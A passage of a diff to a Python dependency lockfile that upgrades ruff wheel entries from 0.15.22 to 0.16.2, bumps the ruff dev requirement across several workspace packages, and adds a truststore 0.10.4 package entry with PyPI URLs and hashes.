"https://files.pythonhosted.org/packages/18/80/c843a5176cddbceb0b7e8dd41cf9993490796c1c469348d384f5a5c13c56/ruff-0.15.22-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:fabfd168afdf29fee5be98b831efa9683c94d7c5a3b58b9ce5a2e38444589a74", size = 11381683, upload-time = "2026-07-16T15:13:48.46Z" }, - { url = "https://files.pythonhosted.org/packages/d4/00/8485de0ae92239438a36cfc51350db9b9e85c9ebdfaea91b18e422706662/ruff-0.15.22-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:225dbf095a87f1d9f90f5fd7924d2613ee452a75a4308c63a8f50f761787aa7c", size = 10850295, upload-time = "2026-07-16T15:13:51.655Z" }, - { url = "https://files.pythonhosted.org/packages/fa/91/24977ec2ec72eaf15e4394ace2959fdff2dd1e14f03e005e838023407169/ruff-0.15.22-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:1877d63b9d24ed278744f1523fd11b85540566d54641f97c566d7d9dc5ca5296", size = 10579640, upload-time = "2026-07-16T15:13:54.79Z" }, - { url = "https://files.pythonhosted.org/packages/9c/47/9b51216951974df1f263ac19da550d34252e0ed7218c25f10c5ef9ed7517/ruff-0.15.22-py3-none-musllinux_1_2_i686.whl", hash = "sha256:a1606c510bd7215680d32efab38965f7cdec3ef69f5170a3f4791404ffdd5262", size = 11105077, upload-time = "2026-07-16T15:13:57.915Z" }, - { url = "https://files.pythonhosted.org/packages/c2/47/20e9d4a3b8016778acea5fc32bb50d35d207500a17ddb529ffa6996feef8/ruff-0.15.22-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:630479b18625f5ffc373f77603a22a9f8ac0acd7ff0501178b5db28ec71e9c64", size = 11490980, upload-time = "2026-07-16T15:14:01.032Z" }, - { url = "https://files.pythonhosted.org/packages/4d/76/3f72d8fc38c1cb77b38c56a70da9d0c17700cc1cc50f9649c9d3c8f5ba71/ruff-0.15.22-py3-none-win32.whl", hash = "sha256:e5ba0e4a13fd14abbed2a77b517a3911290c6c6c59ef67784328d1668fab76cf", size = 10789165, upload-time = "2026-07-16T15:14:04.16Z" }, - { url = "https://files.pythonhosted.org/packages/cb/46/4965251734c2b6fcdca1b1b187d20bcac3af0ee5b083b89c910bb961ce3a/ruff-0.15.22-py3-none-win_amd64.whl", hash = "sha256:9be63ba1eb936acd2d1342fb8337c356353706fce233b2a15a09a97037e6acde", size = 11938297, upload-time = "2026-07-16T15:14:07.316Z" }, - { url = "https://files.pythonhosted.org/packages/57/c9/e69b1ff4c8b69093ef08b8919ab767af0569666865b39c30a8795d88d3c6/ruff-0.15.22-py3-none-win_arm64.whl", hash = "sha256:e1168075b72158510839f250027659cdd78476f40507dd517892304c41318661", size = 11298172, upload-time = "2026-07-16T15:14:10.51Z" }, + { url = "https://files.pythonhosted.org/packages/14/57/db19951540f98859c956b50bdb4d31089b4d91e9f15e2968e7d5193806d5/ruff-0.16.2-py3-none-linux_armv6l.whl", hash = "sha256:3c8de4cf2181f01d57946d87d777aa52916976fc09942aed89938fab5e013318", size = 10847925, upload-time = "2026-08-07T13:30:14.468Z" }, + { url = "https://files.pythonhosted.org/packages/13/5a/995fe85a8470d3e391ac0f7fa8054bb454eaf33ee138196d6172ed1079c0/ruff-0.16.2-py3-none-macosx_10_12_x86_64.whl", hash = "sha256:9a48cc05c6fbc811ca81b5d7ba95375affea6582d1b8024e455e41afbbf55344", size = 11072662, upload-time = "2026-08-07T13:30:18.143Z" }, + { url = "https://files.pythonhosted.org/packages/32/53/370d767c61c71a971a4ace36703a7ecd8c393956349a7325d7fab2b56827/ruff-0.16.2-py3-none-macosx_11_0_arm64.whl", hash = "sha256:a2c0d14fcbb26c91f0f867a6dc9bd71bbc30b1b6151829c884f23faeab2e5700", size = 10566771, upload-time = "2026-08-07T13:30:20.899Z" }, + { url = "https://files.pythonhosted.org/packages/85/d6/9d96948caf5a632be62d62202d5ec914d6856f204fd79eb036e5915e79ea/ruff-0.16.2-py3-none-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:335c621622c4650330be50842561c6586ac6971bb8ab5407fe34dcc9efb16bbe", size = 10975825, upload-time = "2026-08-07T13:30:23.517Z" }, + { url = "https://files.pythonhosted.org/packages/3b/92/ea87129b3414acb0b5770563779c51804d37ac67675c7ba35447ddb14773/ruff-0.16.2-py3-none-manylinux_2_17_armv7l.manylinux2014_armv7l.whl", hash = "sha256:20e66910f2c37cc753f9ef6580c914a621b80c4fa3549d3e3521e29d0f5bfc3f", size = 10649437, upload-time = "2026-08-07T13:30:26.097Z" }, + { url = "https://files.pythonhosted.org/packages/ac/43/f8f291dcd4af5bb7872b74fdfa41a7cd7c856ca1d4069670971cf1b9f5cb/ruff-0.16.2-py3-none-manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c7e36fbfba65510548156902bcf1350a979a958ce0347ce0f90d73894036b39f", size = 11446761, upload-time = "2026-08-07T13:30:28.752Z" }, + { url = "https://files.pythonhosted.org/packages/71/4a/ef991fb2fcf516ab71f0808adcdd8da5e18c8cde447f4ceaf5f47a5132a5/ruff-0.16.2-py3-none-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:f0eab35f80df8f134aae5d1630e751901321d317cc8e50dc39e36fa3ed34cd12", size = 12336364, upload-time = "2026-08-07T13:30:31.468Z" }, + { url = "https://files.pythonhosted.org/packages/f3/24/f615e74f307e6ca0e56a482872477b856c70d530aa356abfb6dfe5ca8a80/ruff-0.16.2-py3-none-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:40ea8c0594feb894e89c8c61ab9c103d38b0ea72dfde6c594107147ca31b1140", size = 11630720, upload-time = "2026-08-07T13:30:34.426Z" }, + { url = "https://files.pythonhosted.org/packages/c5/d3/8ef50149e8412a77f7ab409efdef0e2b23803707a3863da4fc64cb23d459/ruff-0.16.2-py3-none-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:ab3d62dde0b19facdd632008cc4827fc28ada7736c6bd35ab6f1050f0bfed53f", size = 11466130, upload-time = "2026-08-07T13:30:36.958Z" }, + { url = "https://files.pythonhosted.org/packages/dd/a7/a19334985c4dea8c381981fa252cd854c7ee52dc4b1686dc16f4a911c702/ruff-0.16.2-py3-none-manylinux_2_31_riscv64.whl", hash = "sha256:e43e1f5b8388da9eca1b9e88328d47a5cec794633ccf6f7484ac2dd15eee92c0", size = 11523634, upload-time = "2026-08-07T13:30:39.822Z" }, + { url = "https://files.pythonhosted.org/packages/6e/6c/96d192b0e742412ceda08c0a50f9669b253dde9fd6a60ea1a10c9fa79a63/ruff-0.16.2-py3-none-musllinux_1_2_aarch64.whl", hash = "sha256:c24788a980581e1d7ea3a0cbe4344c4fbeb0a6a9b1f4713aa46bb104f8294690", size = 10949807, upload-time = "2026-08-07T13:30:42.745Z" }, + { url = "https://files.pythonhosted.org/packages/fa/51/e26599ceca11e79ee255c7df515995561edf87e9ca1893284e44d98f5a86/ruff-0.16.2-py3-none-musllinux_1_2_armv7l.whl", hash = "sha256:81806b08329130005dd4a8a8394a0c9da8c6f4cafb16ba438d2a2ee6a18bedf1", size = 10646891, upload-time = "2026-08-07T13:30:45.522Z" }, + { url = "https://files.pythonhosted.org/packages/68/01/800c4b1f97bc8d7c6029e06b1f20473a3cf1e13c4933d8f3342add83fc55/ruff-0.16.2-py3-none-musllinux_1_2_i686.whl", hash = "sha256:4ce4e02bad779bef557f541a1b31f20d6abeae1cc05ed1b1ac019d4ffd1044c8", size = 11162063, upload-time = "2026-08-07T13:30:48.131Z" }, + { url = "https://files.pythonhosted.org/packages/e4/d0/1477ea50fc5a0d4b0b71d1d63d50770bdd794d90b43e37a7618e63ec9894/ruff-0.16.2-py3-none-musllinux_1_2_x86_64.whl", hash = "sha256:e0422abdf70070255fc4073ce9dfc814cc03db577013761ddd09bc1e4a9a4fbd", size = 11556038, upload-time = "2026-08-07T13:30:50.686Z" }, + { url = "https://files.pythonhosted.org/packages/b8/76/a7776f32048d991e16d4fa8ff91790b877342d3596cc3ed04acdbf1aaedc/ruff-0.16.2-py3-none-win32.whl", hash = "sha256:bf3a63d78fb39f4bf5ac8ae52051c5520505301abe19ba4e204c453b3f09bb0b", size = 10872850, upload-time = "2026-08-07T13:30:53.471Z" }, + { url = "https://files.pythonhosted.org/packages/00/0d/929c800d920e61397d82a01b60bffc68da3052c17d31de59efaad2e4ed75/ruff-0.16.2-py3-none-win_amd64.whl", hash = "sha256:bcabe2f6d0fc7819f1431793005af4e4de7371927d037345bf941252b195b9fa", size = 12023338, upload-time = "2026-08-07T13:30:56.193Z" }, + { url = "https://files.pythonhosted.org/packages/5b/6c/93e26c22c5f78ff87363e07da49c84955affbeb1098bd1936bf3b3f293bf/ruff-0.16.2-py3-none-win_arm64.whl", hash = "sha256:d614e95cedf38a2053fd351c55b103ba30d017d61688fdbfd40ee0412852a99f", size = 11374065, upload-time = "2026-08-07T13:30:58.775Z" }, ] [[package]] @@ -1629,7 +1634,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.3.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -1650,7 +1655,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.1.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -1671,7 +1676,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.3.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -1692,7 +1697,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.3.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -1728,7 +1733,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.1.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -1749,7 +1754,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.1.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -1770,7 +1775,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.1.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -1817,7 +1822,16 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.1.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, +] + +[[package]] +name = "truststore" +version = "0.10.4" +source = { registry = "https://pypi.org/simple" } +sdist = { url = "https://files.pythonhosted.org/packages/53/a3/1585216310e344e8102c22482f6060c7a6ea0322b63e026372e6dcefcfd6/truststore-0.10.4.tar.gz", hash = "sha256:9d91bd436463ad5e4ee4aba766628dd6cd7010cf3e2461756b3303710eebc301", size = 26169, upload-time = "2025-08-12T18:49:02.73Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/19/97/56608b2249fe206a67cd573bc93cd9896e1efb9e98bce9c163bcdc704b88/truststore-0.10.4-py3-none-any.whl", hash = "sha256:adaeaecf1cbb5f4de3b1959b42d41f6fab57b2b1666adb59e89cb0b53361d981", size = 18660, upload-time = "2025-08-12T18:49:01.46Z" }, ] [[package]] @@ -1881,7 +1895,7 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.1.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ] [[package]] @@ -1902,5 +1916,5 @@ dev = [ dev = [ { name = "mypy", specifier = ">=2.3.0" }, { name = "pytest", specifier = ">=9.1.1" }, - { name = "ruff", specifier = ">=0.15.22" }, + { name = "ruff", specifier = ">=0.16.2" }, ]